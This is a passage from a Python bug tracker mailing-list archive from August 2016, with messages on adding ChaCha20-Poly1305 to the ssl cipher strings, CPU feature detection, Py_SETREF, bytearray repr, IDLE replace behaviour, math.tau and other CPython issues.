LLIA256-SHA:CAMELLIA128-SHA:DES-CBC3-SHA Bonus points: Prefer CHACHA20 over AESGCM on hardware without AES-NI and CLMUL CPU instructions. ---------- components: Library (Lib) messages: 272740 nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen priority: normal severity: normal status: open title: Add ChaCha20 Poly1305 to SSL ciphers type: behavior versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 05:03:00 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 09:03:00 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471251780.85.0.0869191908067.issue27766@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- type: behavior -> security _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 05:18:03 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Mon, 15 Aug 2016 09:18:03 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471252683.02.0.796363957017.issue23591@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: Yes, IntFlags sidesteps a lot of these issues (though not all: inconsistency with a lot of principles of IntEnum is still jarring). But I thought we were talking about Flags too (it is not in the patch, as far as I see). But now I see that Flags was kinda abandoned, and we're going forward only with IntFlags, right? Maybe the title should be changed? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 05:24:17 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 09:24:17 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471253057.28.0.800237607757.issue27766@psf.upfronthosting.co.za> Christian Heimes added the comment: On X86 and X86_64 AES-NI and PCLMULQDQ can be detected with OPENSSL_ia32cap_loc(). https://www.openssl.org/docs/man1.0.2/crypto/OPENSSL_ia32cap_loc.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 05:30:10 2016 From: report at bugs.python.org (Cory Benfield) Date: Mon, 15 Aug 2016 09:30:10 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471253410.14.0.201447693424.issue27766@psf.upfronthosting.co.za> Changes by Cory Benfield : ---------- nosy: +Lukasa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 06:01:09 2016 From: report at bugs.python.org (wevsty) Date: Mon, 15 Aug 2016 10:01:09 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471255269.64.0.114650013259.issue27749@psf.upfronthosting.co.za> wevsty added the comment: I try to change the multiprocessing lib codes?upload the file is debugger display.I try to used while loop make sure connection hanle value is not none,but connection hanle value will still becomes none. I think there may be other threads to modify the handle?But it not my code. ---------- Added file: http://bugs.python.org/file44116/debug_AA1F93C2.JPG _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 06:01:49 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 10:01:49 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471255309.8.0.77365684564.issue27766@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- keywords: +patch Added file: http://bugs.python.org/file44117/Add-ChaCha20-Poly1305-to-SSL-ciphers.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 06:03:29 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 15 Aug 2016 10:03:29 +0000 Subject: [issue26200] SETREF adds unnecessary work in some cases In-Reply-To: <1453745024.51.0.674954872761.issue26200@psf.upfronthosting.co.za> Message-ID: <1471255409.21.0.0619829501172.issue26200@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I don't think most of these should be done. In most of these cases, the code is very old, stable, readable, and shouldn't be churned unnecessarily. Also, putting a function call inside a macro is a worrisome practice in C. Ordinarily, we have long preferred a style of putting the components on separate lines to make the code less magical. Py_SETREF(result, PyNumber_Add(result, item)); Py_SETREF(buffer, PyUnicode_AsEncodedString(buffer, "utf-8", "surrogatepass")); Py_SETREF(text, _PyObject_CallMethodId(text, &PyId_replace, "ss", "\n", self->writenl)); Ask Guido whether he thinks any of the above are a good idea? While it is a bit shorter, it also interferes with my ability to decrypt and reason about the code (especially when I'm trying to count references or trying to ascertain whether an error condition has been checked). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 06:27:48 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 10:27:48 +0000 Subject: [issue26200] SETREF adds unnecessary work in some cases In-Reply-To: <1453745024.51.0.674954872761.issue26200@psf.upfronthosting.co.za> Message-ID: <1471256868.02.0.0047411814873.issue26200@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Guido, what is your thought? I sometimes use Py_SETREF() in new code for simplicity (and not only me). I agree that in case of long complex expression putting it inside a macro looks ugly. ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 06:30:44 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 10:30:44 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> Message-ID: <1471257044.51.0.505045501283.issue27744@psf.upfronthosting.co.za> Christian Heimes added the comment: Working patch with tests and documentation. socket.algset() isn't strictly necessary but makes the feature much more pleasant to use. I accept ideas for a better name, though. ---------- keywords: +patch Added file: http://bugs.python.org/file44118/AF_ALG-kernel-crypto-support-for-socket-module.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 06:33:54 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 15 Aug 2016 10:33:54 +0000 Subject: [issue25571] Improve the lltrace feature with the Py_Debug mode In-Reply-To: <1446844426.01.0.118649403374.issue25571@psf.upfronthosting.co.za> Message-ID: <1471257234.78.0.310426656159.issue25571@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- assignee: -> haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 06:34:04 2016 From: report at bugs.python.org (Mark Lawrence) Date: Mon, 15 Aug 2016 10:34:04 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471257244.36.0.447660575804.issue1602@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 06:34:50 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 10:34:50 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471257290.43.0.925980606722.issue1602@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- nosy: -christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 06:44:51 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 10:44:51 +0000 Subject: [issue27492] Enhance bytearray_repr with bytes_repr's logic In-Reply-To: <1468307381.71.0.764408700488.issue27492@psf.upfronthosting.co.za> Message-ID: <1471257891.4.0.861685179019.issue27492@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The two function's advantage is in the ability to reuse this code for other purposes. For example in _codecs.escape_encode(). But since this is the only place where the same algorithm is used and this functions is not documented and I presume it is not much used, this advantage is pretty small. The simplest implementation of bytearray.__repr__ is def __repr__(self): return 'bytearray(%r)' % bytes(self) It is less efficient than the current implementation or proposed patch, but is much simpler. This approach is used in reprs of set, frozenset, deque, array, BaseException, itemgetter, attrgetter, etc. It can be more efficient is make bytes.__repr__ accepting not only bytes, but objects supporting the buffer protocol. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 07:02:29 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 15 Aug 2016 11:02:29 +0000 Subject: [issue27763] Add complex case to test_builtin abs() In-Reply-To: <1471203172.09.0.573399775535.issue27763@psf.upfronthosting.co.za> Message-ID: <1471258949.83.0.0898787437476.issue27763@psf.upfronthosting.co.za> Mark Dickinson added the comment: > in looking through test_cmath, it appears that only the two numeric > argument form of complex(i, j) is tested for any of the functions, not the > complex('i+nj') string form. We're testing the cmath functions on complex number inputs; I don't think it matters much how those complex numbers are created. The string form of the constructor can't create any complex numbers that the two-argument `complex(x, y)` form can't, so we're not losing test coverage by only using the `complex(x, y)` form. The complex number creation from both strings and pairs of floats should be tested independently, of course. ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 07:09:15 2016 From: report at bugs.python.org (Alex Gaynor) Date: Mon, 15 Aug 2016 11:09:15 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471259355.13.0.807885563493.issue27766@psf.upfronthosting.co.za> Alex Gaynor added the comment: So, for servers really what we care about is if the _client_ has PCLMULQDQ/AESNI, not whether the server itself does. Unfortunately, there's no sane way to do this. Haven't reviewed this patch in terribly much detail, but conceptually fine. Cory, we should make sure this type of change propogates its way through requests, urllib3, hynek's blog post, and whatever else has a copy-pasted ciphersuite string. ---------- nosy: +hynek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 07:12:25 2016 From: report at bugs.python.org (Cory Benfield) Date: Mon, 15 Aug 2016 11:12:25 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471259545.6.0.0861985248115.issue27766@psf.upfronthosting.co.za> Cory Benfield added the comment: Yup. So for Requests at least, the fix is easy: because OpenSSL kindly just quietly ignores cipher suites it doesn't know about we can unconditionally add it to the requests/urllib3 cipher string. In the first instance we'll just do it statically, and then we can consider down the road whether Python/cryptography could give us a way to ask whether we should prefer ChaCha20 over AES-GCM. In the short term, my expectation is that we'd still want to prioritise AES-GCM over ChaCha20 in Requests: is there any reason to think that I'm wrong there? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 07:13:53 2016 From: report at bugs.python.org (Alex Gaynor) Date: Mon, 15 Aug 2016 11:13:53 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471259633.16.0.61574814395.issue27766@psf.upfronthosting.co.za> Alex Gaynor added the comment: Simply doing AES-GCM before ChaCha20 is probably the simplest thing to start with, can always get fancier later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 07:33:36 2016 From: report at bugs.python.org (Ron Carr) Date: Mon, 15 Aug 2016 11:33:36 +0000 Subject: [issue27767] Receive "A required privilege is not held by the Client" error message when Installing python on Windows 10 64 bit Message-ID: <1471260816.48.0.169081591166.issue27767@psf.upfronthosting.co.za> New submission from Ron Carr: Hi, I am unable to install Python 3.6.0, 3.5.2 and 2.7.12, on my Windows 10 64 bit system, receive error message "A required privilege is not held by the client". I have turned UAC, and changed registry setting to zero. Also have ensured my Administrator has full access rights, but still get the same error. I have also turned off my virus checker. Any help would be greatly appeciated. Regards, Ballterrier ---------- components: Installation messages: 272752 nosy: ballterrier priority: normal severity: normal status: open title: Receive "A required privilege is not held by the Client" error message when Installing python on Windows 10 64 bit type: security versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 08:12:43 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 12:12:43 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471259355.13.0.807885563493.issue27766@psf.upfronthosting.co.za> Message-ID: Christian Heimes added the comment: On 2016-08-15 13:09, Alex Gaynor wrote: > > Alex Gaynor added the comment: > > So, for servers really what we care about is if the _client_ has PCLMULQDQ/AESNI, not whether the server itself does. Unfortunately, there's no sane way to do this. For servers we want to prefer CHACHA20 over AESGCM iff both sides have AES-NI and CLMUL. A server on a device such as a RPi benefits from CHACHA20, too. For that reason I also changed the server side cipher string. As you already said, there is no way to express this with OpenSSL cipher suite string. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 08:49:57 2016 From: report at bugs.python.org (A. Skrobov) Date: Mon, 15 Aug 2016 12:49:57 +0000 Subject: [issue26526] In parsermodule.c, replace over 2KLOC of hand-crafted validation code, with a DFA In-Reply-To: <1457600551.84.0.318395917649.issue26526@psf.upfronthosting.co.za> Message-ID: <1471265397.51.0.82707602883.issue26526@psf.upfronthosting.co.za> A. Skrobov added the comment: Thanks Xavier! Yes, this is the same DFA that's used by the main Python parser. For some reason, parsermodule didn't previously reuse it, but instead did its own thing. Any volunteers to review the other patch for Python parser, at http://bugs.python.org/issue26415 ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:11:04 2016 From: report at bugs.python.org (Decorater) Date: Mon, 15 Aug 2016 13:11:04 +0000 Subject: [issue27767] Receive "A required privilege is not held by the Client" error message when Installing python on Windows 10 64 bit In-Reply-To: <1471260816.48.0.169081591166.issue27767@psf.upfronthosting.co.za> Message-ID: <1471266664.02.0.954265320064.issue27767@psf.upfronthosting.co.za> Decorater added the comment: Why are you trying to install 3.6? when you can make it the embeded version as it is still in alpha and then use it. Not only that but you can use \Tools\msi\make_zip.py to learn more. ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:14:01 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 15 Aug 2016 13:14:01 +0000 Subject: [issue27450] bz2: BZ2File should expose compression level as an attribute In-Reply-To: <1467662493.73.0.0646490356421.issue27450@psf.upfronthosting.co.za> Message-ID: <1471266841.53.0.163938305899.issue27450@psf.upfronthosting.co.za> Xiang Zhang added the comment: If you don't want to manually parse it, the lib has to. Currently, bz2 delegates all the raw data parsing (compression/decompression) to the underlying C library. Unfortunately the bzip2 library doesn't expose the header info which means to get compression level, we have to do some raw data parsing in the lib. Actually I wonder if it's worth though this seems not hard to implement. ---------- nosy: +martin.panter, xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:14:21 2016 From: report at bugs.python.org (Justin Foo) Date: Mon, 15 Aug 2016 13:14:21 +0000 Subject: [issue27755] Retire DynOptionMenu with a ttk Combobox In-Reply-To: <1471117947.7.0.659308305751.issue27755@psf.upfronthosting.co.za> Message-ID: <1471266861.33.0.459008115835.issue27755@psf.upfronthosting.co.za> Justin Foo added the comment: I wasn't sure if the ongoing work in #24781 essentially rendered my patch obsolete, so I keenly await Mark's response. Upon reflection, I think my patch is a cheap win even if it's later overhauled by other improvements. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:24:01 2016 From: report at bugs.python.org (Pas) Date: Mon, 15 Aug 2016 13:24:01 +0000 Subject: [issue11566] hypot define in pyconfig.h clashes with g++'s cmath In-Reply-To: <1300232356.74.0.516279839285.issue11566@psf.upfronthosting.co.za> Message-ID: <1471267441.53.0.0978241082199.issue11566@psf.upfronthosting.co.za> Changes by Pas : ---------- nosy: +pas _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:25:43 2016 From: report at bugs.python.org (Cory Benfield) Date: Mon, 15 Aug 2016 13:25:43 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471267543.47.0.800693901278.issue27766@psf.upfronthosting.co.za> Cory Benfield added the comment: Update for Requests+urllib3 is here: https://github.com/shazow/urllib3/pull/947 Update for Twisted is here: https://twistedmatrix.com/trac/ticket/8760 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:28:27 2016 From: report at bugs.python.org (Decorater) Date: Mon, 15 Aug 2016 13:28:27 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471267707.0.0.0665265243928.issue27766@psf.upfronthosting.co.za> Decorater added the comment: tbh I personally perfer aiohttp over requests. ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:33:50 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 13:33:50 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471268030.98.0.195000818136.issue27766@psf.upfronthosting.co.za> Christian Heimes added the comment: Cory, Alex: Do you like to have a public API for CPU feature discovery? I don't mind to make OPENSSL_ia32cap_loc() a public API or even expose the bit set as structure with nice field names. Decorater: This ticket is not a vote on favorite packages. Please keep it on topic. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:35:17 2016 From: report at bugs.python.org (Cory Benfield) Date: Mon, 15 Aug 2016 13:35:17 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471268117.94.0.727949825181.issue27766@psf.upfronthosting.co.za> Cory Benfield added the comment: Christian: Certainly I'd like to be able to use that API from within urllib3 and Twisted. Having something public would be really convenient. Of course, it'd be good if OpenSSL exposed something useful here, but in the absence of that Python would be convenient. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:37:49 2016 From: report at bugs.python.org (Alex Gaynor) Date: Mon, 15 Aug 2016 13:37:49 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471268269.52.0.888457312308.issue27766@psf.upfronthosting.co.za> Alex Gaynor added the comment: Exposing it in some way would be good, but we can make that a seperate issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:55:07 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 13:55:07 +0000 Subject: [issue27768] ssl: add public API for IA-32 processor capabilities vector Message-ID: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za> New submission from Christian Heimes: OpenSSL has a function called OPENSSL_ia32cap_loc() to get the processor's capability vector in X86 and X86_64 systems. The information is useful to decide which cipher suite to prefer. For example on machines without AES-NI and CLMUL CPU instructions, ChaCha20 should be prefered over AES-GCM. https://www.openssl.org/docs/man1.0.2/crypto/OPENSSL_ia32cap_loc.html #27766 just exposes the plain OPENSSL_ia32cap_loc(). A richer API should parse the bit field and expose the bits as structure. ---------- components: Extension Modules messages: 272763 nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen priority: normal severity: normal status: open title: ssl: add public API for IA-32 processor capabilities vector type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 09:55:33 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 13:55:33 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471269333.68.0.809984939605.issue27766@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- dependencies: +Make OpenSSL module compatible with OpenSSL 1.1.0, ssl: add public API for IA-32 processor capabilities vector _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 10:06:59 2016 From: report at bugs.python.org (R. David Murray) Date: Mon, 15 Aug 2016 14:06:59 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1471270019.1.0.392156607163.issue27734@psf.upfronthosting.co.za> R. David Murray added the comment: ??????: As Stefan said, we know there are problems with initialize/finalize, but the problems are deep and the project to correct them is ongoing. So, this is an example of an already identified leak that we are working on, and consequently I'll close this issue. (If you disagree with Stefan's diagnosis, please let us know with supporting info about why.) ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 10:48:26 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 14:48:26 +0000 Subject: [issue25628] Make namedtuple "verbose" and "rename" parameters into keyword only arguments In-Reply-To: <1447615273.45.0.0364929463097.issue25628@psf.upfronthosting.co.za> Message-ID: <1471272506.5.0.164515894745.issue25628@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Ping again. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 11:01:17 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 15:01:17 +0000 Subject: [issue17394] Add slicing support to collections.deque In-Reply-To: <1362972021.66.0.443403979058.issue17394@psf.upfronthosting.co.za> Message-ID: <1471273277.2.0.529383147931.issue17394@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Raymond, do you still have an interest in this issue? If no, you can just close it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 11:13:33 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 15:13:33 +0000 Subject: [issue18844] allow weights in random.choice In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za> Message-ID: <1471274013.58.0.0511198961455.issue18844@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Raymond, any chance to get weighted random choices generator in 3.6? Less than month is left to feature code freeze. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 11:13:41 2016 From: report at bugs.python.org (Qwert225) Date: Mon, 15 Aug 2016 15:13:41 +0000 Subject: [issue27769] "Replace All" with up direction and no wrapping replaces only the bottommost of all matching upward entries Message-ID: <1471274021.81.0.142329752999.issue27769@psf.upfronthosting.co.za> New submission from Qwert225: IDLE's "Replace All" option with up direction and disabled "Wrap around" replaces only the bottommost of all matching upward entries instead of replacing all matching upward entries. ---------- assignee: terry.reedy components: IDLE messages: 272768 nosy: Qwert225, terry.reedy priority: normal severity: normal status: open title: "Replace All" with up direction and no wrapping replaces only the bottommost of all matching upward entries type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 11:27:48 2016 From: report at bugs.python.org (Qwert225) Date: Mon, 15 Aug 2016 15:27:48 +0000 Subject: [issue27769] IDLE's "Replace All" with up direction and no wrapping replaces one upward and all downward entries instead of replacing all upward entries. In-Reply-To: <1471274021.81.0.142329752999.issue27769@psf.upfronthosting.co.za> Message-ID: <1471274868.08.0.667706815708.issue27769@psf.upfronthosting.co.za> Qwert225 added the comment: EDIT: IDLE's "Replace All" with up direction and no wrapping replaces one upward matching entry and all downward matching entries even though it is set to replace all upward entries. ---------- title: "Replace All" with up direction and no wrapping replaces only the bottommost of all matching upward entries -> IDLE's "Replace All" with up direction and no wrapping replaces one upward and all downward entries instead of replacing all upward entries. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 11:37:29 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 15 Aug 2016 15:37:29 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471275449.61.0.475233253963.issue12345@psf.upfronthosting.co.za> Guido van Rossum added the comment: Lisa, this LGTM. I'll commit it so we can put this behind us! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 11:46:08 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 15:46:08 +0000 Subject: [issue27506] make bytes/bytearray delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <1471275968.71.0.0933353336971.issue27506@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Technically the patch looks correct to me. Added just few minor comments on Rietveld. I don't think there is a large need in adding the support of keyword argument. But since the overhead is small and somebody needs this, adding this doesn't do a harm. Left it on you Martin. ---------- assignee: serhiy.storchaka -> martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 11:47:13 2016 From: report at bugs.python.org (Xavier Combelle) Date: Mon, 15 Aug 2016 15:47:13 +0000 Subject: [issue26415] Excessive peak memory consumption by the Python parser In-Reply-To: <1456182380.09.0.81920177296.issue26415@psf.upfronthosting.co.za> Message-ID: <1471276033.3.0.732900957319.issue26415@psf.upfronthosting.co.za> Xavier Combelle added the comment: Looks that there is two bug as partial solution of the main bug which is reduce memory consumption of the parser: - The compression thing - the reducing of heap fragmentation Could each sub bug have it's own bug tracker and mark them blocking for the main bug ? A. Skrobov Can you describe the big picture of your patch, without I don't understand the logic of your modifications. ---------- nosy: +xcombelle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 11:56:20 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 15:56:20 +0000 Subject: [issue24379] Add operator.subscript as a convenience for creating slices In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1471276580.17.0.587791674447.issue24379@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Raymond, adding a stub element to __slots__ fixes a leak. Is this enough to push the patch again? We should open a separate issue for leaks in objects with empty __slots__. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:04:31 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 15 Aug 2016 16:04:31 +0000 Subject: [issue24379] Add operator.subscript as a convenience for creating slices In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1471277071.57.0.799399411086.issue24379@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: It looks like namedtuple suffers the same issue with empty __slots__: test_collections leaked [0, 0, 2, 0] references, sum=2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:15:56 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 15 Aug 2016 16:15:56 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <20160815161552.19496.92859.806DB29C@psf.io> Roundup Robot added the comment: New changeset 68f2d6098be1 by Guido van Rossum in branch 'default': Issue #12345: Add mathemathcal constant tau to math and cmath. https://hg.python.org/cpython/rev/68f2d6098be1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:16:35 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 15 Aug 2016 16:16:35 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471277795.94.0.0764497928537.issue12345@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:23:05 2016 From: report at bugs.python.org (Brett Cannon) Date: Mon, 15 Aug 2016 16:23:05 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1471278185.18.0.801749944923.issue27736@psf.upfronthosting.co.za> Brett Cannon added the comment: Patch LGTM. ---------- assignee: brett.cannon -> ned.deily stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:23:54 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Mon, 15 Aug 2016 16:23:54 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471278234.3.0.235520573466.issue12345@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: There is a typo in the NEWS entry: "Issue #12345: Add *mathemathcal* constant tau to math ..." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:28:03 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 15 Aug 2016 16:28:03 +0000 Subject: [issue27492] Enhance bytearray_repr with bytes_repr's logic In-Reply-To: <1468307381.71.0.764408700488.issue27492@psf.upfronthosting.co.za> Message-ID: <1471278483.87.0.948326524217.issue27492@psf.upfronthosting.co.za> Xiang Zhang added the comment: > It can be more efficient is make bytes.__repr__ accepting not only bytes, but objects supporting the buffer protocol. I like this idea. v2 implements this. ---------- Added file: http://bugs.python.org/file44119/bytearray_repr_v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:42:06 2016 From: report at bugs.python.org (Brett 